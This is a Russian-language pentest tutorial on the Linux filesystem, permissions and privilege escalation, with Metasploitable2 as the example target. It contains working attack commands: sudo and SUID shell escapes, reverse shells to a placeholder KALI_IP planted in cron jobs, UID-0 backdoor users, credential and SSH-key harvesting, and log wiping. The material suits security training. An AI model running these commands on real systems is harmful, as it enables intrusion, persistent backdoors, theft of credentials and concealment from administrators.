Linux: файловая система, привилегии, privilege escalation
🐧 Что это
Когда ты получил шелл на Linux-машине — это только начало. Дальше нужно понять: кто ты, где ты, что можешь, и как стать root. Для этого нужно знать как устроен Linux изнутри: файловая система, права, процессы, сервисы.
Аналогия: ты проник в здание через окно первого этажа. Теперь нужно понять планировку — где лестницы, где охрана, где ключи от серверной.
📌 Файловая система Linux — где что лежит
Структура
/ ← корень, всё начинается здесь
├── /bin ← базовые команды (ls, cat, cp, mv)
├── /sbin ← системные команды (iptables, fdisk, reboot)
├── /boot ← ядро и загрузчик
├── /dev ← устройства (диски, терминалы)
├── /etc ← ВСЕ конфигурации системы ★
│ ├── passwd ← список пользователей
│ ├── shadow ← хеши паролей ★★★
│ ├── group ← группы
│ ├── hosts ← локальный DNS
│ ├── crontab ← системные cron-задачи
│ ├── sudoers ← кто может sudo ★★
│ ├── ssh/ ← конфиг SSH
│ └── fstab ← монтирование дисков
├── /home ← домашние папки пользователей ★
│ └── user/
│ ├── .bash_history ← история команд ★★
│ ├── .ssh/ ← SSH-ключи ★★★
│ └── .bashrc ← настройки шелла
├── /opt ← дополнительный софт
├── /proc ← виртуальная ФС — инфо о процессах ★
│ ├── self/environ ← переменные окружения текущего процесса
│ ├── version ← версия ядра
│ └── [PID]/cmdline ← командная строка процесса
├── /root ← домашняя папка root ★★★
├── /tmp ← временные файлы (доступны всем) ★
├── /usr ← пользовательские программы
│ ├── bin/ ← команды пользователей
│ ├── local/bin/ ← локально установленный софт
│ └── share/ ← общие данные
├── /var ← переменные данные
│ ├── log/ ← логи ★★
│ │ ├── auth.log ← логи аутентификации
│ │ ├── syslog ← системный лог
│ │ └── apache2/ ← логи веб-сервера
│ ├── www/html/ ← корень веб-сервера ★
│ ├── backups/ ← бэкапы ★
│ └── mail/ ← почта пользователей
└── /mnt, /media ← точки монтирования
Звёздочки — важность для пентестера. ★★★ — первоприоритетные цели.
Первые команды после получения шелла
# Кто я?
whoami
id # uid, gid, группы
# Где я?
pwd
hostname
uname -a # ОС, версия ядра, архитектура
cat /etc/os-release # Дистрибутив и версия
# Что за машина?
ip a # Сетевые интерфейсы
cat /etc/hosts # Локальные DNS-записи
cat /etc/resolv.conf # DNS-серверы
# Кто ещё на машине?
w # Кто сейчас залогинен
last # Последние входы
cat /etc/passwd # Все пользователи
⚡ Пользователи и права
/etc/passwd — карта пользователей
root:x:0:0:root:/root:/bin/bash
msfadmin:x:1000:1000:msfadmin:/home/msfadmin:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Формат: имя:пароль:UID:GID:описание:домашняя_папка:шелл
xв поле пароля — пароль в /etc/shadow- UID 0 = root. Если найдёшь другого пользователя с UID 0 — он тоже root
/usr/sbin/nologinили/bin/false— пользователь не может залогиниться (сервисный аккаунт)
Для пентестера: пользователи с /bin/bash — реальные аккаунты. Если UID 0 есть у кого-то кроме root — это бэкдор или мисконфигурация.
/etc/shadow — хеши паролей
root:$6$xyz$abc...длинный_хеш:19000:0:99999:7:::
msfadmin:$6$abc$def...длинный_хеш:19000:0:99999:7:::
Формат: имя:хеш:дата_смены:мин_дней:макс_дней:предупреждение:...
Типы хешей по префиксу:
$1$— MD5 (слабый, быстро ломается)$5$— SHA-256$6$— SHA-512 (стандарт на современных системах)$y$— yescrypt (новый, очень стойкий)$2b$— bcrypt
Для пентестера: если можешь прочитать /etc/shadow — копируй и ломай офлайн через hashcat или john:
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt shadow_file
# Hashcat (быстрее на GPU)
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt # SHA-512
Права доступа
ls -la /etc/shadow
-rw-r----- 1 root shadow 1234 Mar 30 12:00 /etc/shadow
Формат: тип|owner|group|others
-rw-r-----
│├──┤├──┤├──┤
│ │ │ └── others: --- (ничего)
│ │ └────── group: r-- (чтение)
│ └────────── owner: rw- (чтение, запись)
└───────────── тип: - (файл), d (директория), l (ссылка)
Права в числах:
- r (read) = 4
- w (write) = 2
- x (execute) = 1
Примеры: 755 = rwxr-xr-x, 644 = rw-r--r--, 777 = rwxrwxrwx (ОПАСНО — все могут всё).
Специальные биты — SUID, SGID, Sticky
SUID (Set User ID) — файл выполняется с правами владельца, а не запускающего пользователя. Если владелец root — файл выполняется от root.
ls -la /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Mar 30 12:00 /usr/bin/passwd
^
s = SUID бит
passwd имеет SUID — потому что обычному пользователю нужно менять свой пароль в /etc/shadow, который доступен только root.
Для пентестера: SUID-файлы — главный вектор privilege escalation. Если найдёшь SUID на уязвимой программе — можешь стать root.
SGID (Set Group ID) — файл выполняется с правами группы владельца. На директории — все файлы внутри наследуют группу.
Sticky bit — на директории означает, что удалять файлы может только владелец. /tmp имеет sticky bit — все могут создавать, но удалять только свои.
ls -la / | grep tmp
drwxrwxrwt 10 root root 4096 Mar 30 12:00 tmp
^
t = sticky bit
🔍 Privilege Escalation — путь в root
Что это
Privilege Escalation (privesc) — повышение привилегий от обычного пользователя до root. Это то, что делаешь после получения шелла как msfadmin — ищешь путь стать root.
Аналогия: ты попал в здание как уборщик (low-privilege user). Твоя цель — найти ключ-карту директора (root). Можешь найти её в незапертом ящике, украсть, скопировать или подобрать код.
Шаг 1 — Разведка системы
# Базовая информация
whoami && id
uname -a # Версия ядра — может быть уязвима
cat /etc/os-release # Дистрибутив
# Sudo
sudo -l # Что можно запускать через sudo? ★★★
# SUID файлы
find / -perm -4000 -type f 2>/dev/null # ★★★
# SGID файлы
find / -perm -2000 -type f 2>/dev/null
# Файлы доступные на запись
find / -writable -type f 2>/dev/null | grep -v proc
# Cron-задачи
cat /etc/crontab
ls -la /etc/cron.*
crontab -l # Задачи текущего пользователя
# Запущенные процессы
ps aux # Все процессы
ps aux | grep root # Процессы от root
# Сетевые соединения
ss -tlnp # Слушающие TCP-порты
ss -ulnp # Слушающие UDP-порты
# Внутренние сервисы (слушают на 127.0.0.1)
ss -tlnp | grep 127.0.0.1
# Переменные окружения
env # Могут содержать пароли!
cat /proc/self/environ
# История команд
cat ~/.bash_history # Пароли, которые кто-то вводил в командной строке ★★
cat /home/*/.bash_history 2>/dev/null
# SSH-ключи
find / -name "id_rsa" 2>/dev/null # Приватные ключи ★★★
find / -name "authorized_keys" 2>/dev/null
# Конфигурации с паролями
grep -r "password" /etc/ 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null
grep -r "password" /opt/ 2>/dev/null
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
find / -name ".env" 2>/dev/null # ★★★
Шаг 2 — Автоматизация разведки
Вручную долго — есть скрипты:
# LinPEAS — лучший скрипт для Linux privesc
# Скачать на атакующей машине
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
# Передать на цель (через Python HTTP-сервер)
# На Kali:
python3 -m http.server 8888
# На цели:
wget http://KALI_IP:8888/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# LinEnum — ещё один хороший скрипт
# linux-exploit-suggester — предлагает kernel exploits по версии ядра
LinPEAS подсвечивает цветом: красный = критические находки, жёлтый = интересно, зелёный = информация.
Способ 1 — sudo
Самый простой путь. Если sudo -l показывает что-то — проверяй на GTFOBins.
sudo -l
# (root) NOPASSWD: /usr/bin/vim
# (root) NOPASSWD: /usr/bin/find
# (root) NOPASSWD: /usr/bin/python3
# (root) NOPASSWD: /usr/bin/less
GTFOBins (https://gtfobins.github.io) — база данных программ, через которые можно повысить привилегии:
# sudo vim
sudo vim -c ':!/bin/bash'
# sudo find
sudo find / -exec /bin/bash \;
# sudo python3
sudo python3 -c 'import os; os.system("/bin/bash")'
# sudo less
sudo less /etc/shadow
# Внутри less набираешь: !/bin/bash
# sudo awk
sudo awk 'BEGIN {system("/bin/bash")}'
# sudo nmap (старые версии)
sudo nmap --interactive
nmap> !sh
# sudo env
sudo env /bin/bash
# sudo cp — копируешь свой passwd поверх системного
# sudo wget — скачиваешь свой shadow/passwd
# sudo tar
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
Способ 2 — SUID-файлы
# Найти все SUID-файлы
find / -perm -4000 -type f 2>/dev/null
Стандартные SUID-файлы (безопасны): /usr/bin/passwd, /usr/bin/sudo, /usr/bin/ping, /usr/bin/su.
Нестандартные SUID-файлы — потенциальные вектор:
# Если /usr/bin/find имеет SUID
find . -exec /bin/bash -p \; # -p сохраняет привилегии
# Если /usr/bin/python3 имеет SUID
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
# Если /usr/bin/vim имеет SUID
vim -c ':py3 import os; os.execl("/bin/bash", "bash", "-p")'
# Если /usr/bin/nmap имеет SUID (старые версии)
nmap --interactive
!sh
# Если кастомный бинарник с SUID
strings /path/to/binary # Ищем вызовы системных команд
ltrace /path/to/binary # Трассировка библиотечных вызовов
Проверяй каждый нестандартный SUID на GTFOBins.
Способ 3 — Cron Jobs
Cron — планировщик задач. Если cron-задача запускается от root и ты можешь модифицировать скрипт — получаешь root.
# Проверить системные cron-задачи
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
# Пример уязвимой crontab
# * * * * * root /opt/scripts/backup.sh
Если /opt/scripts/backup.sh доступен на запись:
# Проверяем права
ls -la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root ... ← всем можно писать!
# Добавляем reverse shell
echo 'bash -i >& /dev/tcp/KALI_IP/4444 0>&1' >> /opt/scripts/backup.sh
# На Kali слушаем
nc -lvnp 4444
# Ждём — когда cron выполнит скрипт, получим root shell
Wildcard injection — если в cron-скрипте есть tar * или cp *:
# Если cron запускает: cd /tmp && tar czf backup.tar.gz *
# Создаём файлы-аргументы:
echo "" > "/tmp/--checkpoint=1"
echo "" > "/tmp/--checkpoint-action=exec=sh shell.sh"
echo "bash -i >& /dev/tcp/KALI_IP/4444 0>&1" > /tmp/shell.sh
Способ 4 — Writable /etc/passwd
На старых системах (как Metasploitable2) /etc/passwd может быть доступен на запись:
ls -la /etc/passwd
# -rw-rw-rw- 1 root root ... ← можно писать!
# Генерируем хеш пароля
openssl passwd -1 -salt xyz password123
# $1$xyz$abc...
# Добавляем пользователя с UID 0 (root)
echo 'hacker:$1$xyz$abc...:0:0:Hacker:/root:/bin/bash' >> /etc/passwd
# Логинимся
su hacker
# Пароль: password123
# whoami → root
Способ 5 — Kernel Exploits
Если ядро старое — может быть уязвимо:
uname -r
# 2.6.24-16-server ← Metasploitable2, очень старое
# Поиск эксплойтов
searchsploit linux kernel 2.6.24
# Или через linux-exploit-suggester
./linux-exploit-suggester.sh
Известные kernel exploits:
- Dirty COW (CVE-2016-5195) — Linux kernel < 4.8.3, запись в read-only файлы
- Dirty Pipe (CVE-2022-0847) — Linux kernel 5.8-5.16, перезапись файлов
- PwnKit (CVE-2021-4034) — Polkit pkexec, работает почти везде
Kernel exploits — последний вариант. Они могут уронить систему. Сначала пробуй sudo, SUID, cron.
Способ 6 — Пароли в файлах
# История команд — люди вводят пароли в CLI
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
# Конфиги веб-приложений
cat /var/www/html/wp-config.php # WordPress
cat /var/www/html/config.php # Разные CMS
cat /var/www/html/.env # Laravel, Node.js
cat /var/www/html/configuration.php # Joomla
# Конфиги баз данных
cat /etc/mysql/my.cnf
cat /etc/postgresql/*/main/pg_hba.conf
# SSH-ключи
cat /home/*/.ssh/id_rsa 2>/dev/null
cat /root/.ssh/id_rsa 2>/dev/null
# Бэкапы
find / -name "*.bak" -o -name "*.old" -o -name "*.backup" 2>/dev/null
find / -name "*.sql" 2>/dev/null # Дампы БД с паролями
Способ 7 — Внутренние сервисы
# Что слушает на localhost
ss -tlnp | grep 127.0.0.1
# Пример: MySQL на 127.0.0.1:3306 без пароля
mysql -u root -p # Пробуем пустой пароль
mysql -u root # Или вообще без -p
Нашёл пароль в MySQL → пробуй его для su root (люди переиспользуют пароли).
⚡ Post-Exploitation — что делать после root
Сбор информации
# Хеши всех паролей
cat /etc/shadow
# SSH-ключи для доступа к другим машинам
cat /root/.ssh/id_rsa
cat /root/.ssh/known_hosts # Куда подключались
cat /root/.ssh/authorized_keys
# Историй
cat /root/.bash_history
# Сетевые подключения
ip a
ip route
arp -a
cat /etc/hosts
ss -tlnp
# Cron — что запускается регулярно
crontab -l
cat /etc/crontab
Persistence — закрепление доступа
SSH-ключ:
# На Kali генерируешь ключ
ssh-keygen -t ed***** -f backdoor_key
# На цели добавляешь публичный ключ
echo "ssh-ed***** AAAA...ключ..." >> /root/.ssh/authorized_keys
# Теперь можешь заходить без пароля
ssh -i backdoor_key root@TARGET_IP
Новый пользователь с UID 0:
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backdoor
echo "backdoor:password123" | chpasswd
Cron reverse shell:
echo "* * * * * root bash -i >& /dev/tcp/KALI_IP/4444 0>&1" >> /etc/crontab
Заметание следов
# Очистка логов (в учебных целях)
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
# Удаление истории
history -c
echo "" > ~/.bash_history
# Удаление загруженных файлов
rm /tmp/linpeas.sh
В реальном пентесте — не заметаешь следы, а документируешь всё что сделал для отчёта.
🔧 Процессы и сервисы
Процессы
# Все процессы
ps aux
# Процессы от root — интересные цели
ps aux | grep root
# Дерево процессов
pstree
# В реальном времени
top
htop
Для пентестера: процессы от root, которые взаимодействуют с файлами, к которым у тебя есть доступ — вектор для privesc.
Systemd и сервисы
# Все сервисы
systemctl list-units --type=service
# Статус конкретного
systemctl status ssh
# Конфиги сервисов
ls /etc/systemd/system/
ls /lib/systemd/system/
Если конфиг сервиса доступен на запись — можешь изменить команду запуска.
Cron — планировщик
# Формат crontab
# мин час день месяц день_недели команда
# * * * * * /path/to/script
# Каждую минуту
* * * * * /opt/scripts/backup.sh
# Каждый час
0 * * * * /opt/scripts/cleanup.sh
# Каждый день в 3:00
0 3 * * * /opt/scripts/daily.sh
🛡 Логи — где искать и где прятаться
Важные логи
/var/log/auth.log # SSH-входы, sudo, su — кто и когда
/var/log/syslog # Системные события
/var/log/kern.log # Сообщения ядра
/var/log/apache2/ # Логи веб-сервера
├── access.log # Кто заходил на сайт
└── error.log # Ошибки (иногда с путями и паролями)
/var/log/mysql/ # Логи MySQL
/var/log/cron.log # Логи cron-задач
/var/log/mail.log # Почтовые логи
/var/log/faillog # Неудачные входы
/var/log/lastlog # Последние входы
Для пентестера — двустороннее использование:
- Читаем логи для получения информации (IP, пользователи, ошибки с паролями)
- Знаем что наши действия логируются — учитываем при планировании
🧠 Готовые комбо
Первые действия после шелла:
whoami → id → uname -a → ip a → sudo -l → find SUID → cat /etc/crontab → cat ~/.bash_history → ss -tlnp
Быстрый путь в root:
sudo -l → есть что-то? → GTFOBins → root. Нет? → find SUID → GTFOBins → root. Нет? → cron + writable scripts → root. Нет? → kernel exploit
Сбор паролей:
cat /etc/shadow → john/hashcat. cat ~/.bash_history → пароли в CLI. find .env/.conf → пароли в конфигах. mysql → пароли в БД
Полная автоматизация:
Загрузить LinPEAS → chmod +x → запустить → читать красные/жёлтые находки → эксплуатировать по приоритету: sudo > SUID > cron > kernel
⚠️ Важные моменты
- sudo -l — всегда первая команда. Это самый быстрый путь в root и самый частый вектор на CTF и реальных машинах
- GTFOBins — твоя библия. Закладка в браузере обязательна. Почти каждая программа с sudo/SUID может дать shell
- SUID на кастомных бинарниках — золото. Стандартные SUID (passwd, ping) обычно безопасны. Нестандартные — почти всегда эксплуатируемы
- /etc/passwd writable — мгновенный root. На Metasploitable2 это может сработать. На современных системах — нет
- Kernel exploits — последний вариант. Могут уронить систему. Dirty COW, Dirty Pipe, PwnKit — запомни эти имена
- История команд — клад. Люди вводят
mysql -u root -pSecretPassword123и это сохраняется в .bash_history - Пароли переиспользуются. Нашёл пароль в конфиге MySQL → попробуй для su root и SSH на другие машины
- LinPEAS экономит часы. Запускай всегда, но учись понимать что он находит, а не просто копировать красные строки